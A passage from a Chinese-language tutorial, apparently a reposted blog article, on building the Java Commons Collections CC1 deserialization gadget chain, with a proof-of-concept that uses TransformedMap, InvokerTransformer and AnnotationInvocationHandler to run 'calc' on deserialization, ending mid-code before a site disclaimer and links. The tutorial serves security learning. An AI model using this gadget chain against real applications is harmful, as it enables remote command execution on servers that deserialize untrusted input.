            if (memberType != null) {
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }
}

AnnotationType.getInstance方法用于获得一个注解, 下面的annotationType.memberTypes()用来返回注解的属性, 所以这里我们必须传入一个属性不为空的注解过去才行, 这里我们可以选择使用@Retention,Retention注解定义如下:

public @interface Retention {
    RetentionPolicy value(); // 只有一个 value
}

而根据如下代码段的逻辑:

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
    String name = memberValue.getKey(); // 得到我们外部传递 map 的 key, 这里最好传入 key 的值是 value
    Class<?> memberType = memberTypes.get(name); // 因为 Retention 只有 value 属性, 所以这里我们只可以传入 key 的值是 value 的 map 才可以不为 null.
    if (memberType != null) {
        Object value = memberValue.getValue();
        if (!(memberType.isInstance(value) ||
              value instanceof ExceptionProxy)) {
            memberValue.setValue(
                new AnnotationTypeMismatchExceptionProxy(
                    value.getClass() + "[" + value + "]").setMember(
                        annotationType.members().get(name))); // 注意这里 setValue 方法传入的值并不可控, 待会儿编写好 POC 会抛出异常.
        }
    }
}

我们可以看到, 这个代码块对memberValues进行遍历, 并进行setValue操作, 而memberValues又是在构造器中是可控的. 由于这个类不是public, 所以我们需要使用反射解决:

public class Main {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime(); // 这里 runtime 并没有传入
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
                new Class[]{String.class}, new Object[]{"calc"});
        HashMap hashMap = new HashMap();
        hashMap.put("value", "b"); // 使用 value, 硬性规定
        TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, invokerTransformer);
        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, transformedMap);

        serialize(invocationHandler);
        unserialize();
    }

    public static void serialize(Object o) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
        oos.writeObject(o);
    }

    public static void unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
        ois.readObject();
    }
}

但代码运行后会抛出异常:

深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)插图27

原因则是AnnotationInvocationHandler::readObject方法中的memberValue.setValue(new XXX)中调用的值并不可控! 此时应该怎么办呢.

ConstantTransformer::transform 返回任意值

此时我们不妨重新找一下其他的实现了Transformer接口的其他可利用的transform方法.

深入学习 Java 反序列化漏洞 (URLDNS链 + CC1~7链附手挖链 + CB链)插图28

发现ConstantTransformer类, 这个类定义的transform方法不管传入什么内容, 都会返回自定义任意值的一个方法. 这个方法挺有意思, 我们可以做一下测试:

public class Main {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
//        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
//                new Class[]{String.class}, new Object[]{"calc"});
        ConstantTransformer helloWorld = new ConstantTransformer("HelloWorld"); // 不管调用 transform 方法传递了什么参数, 都会返回 He

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

办事处网络安全监控与事件响应;国外员工终端安全性怎么保障 | FB甲方群话题讨论
拿不下总统之位,那就用热加载拿下验证码识别与爆破好了!
Sooty:一款SoC分析一体化与自动化CLI工具
shiro CVE-2016-6802 路径绕过(越权)
Apache Solr 身份验证绕过漏洞(CVE-2024-45216)详解
llama_index的CVE-2024-4181漏洞根因分析

发布评论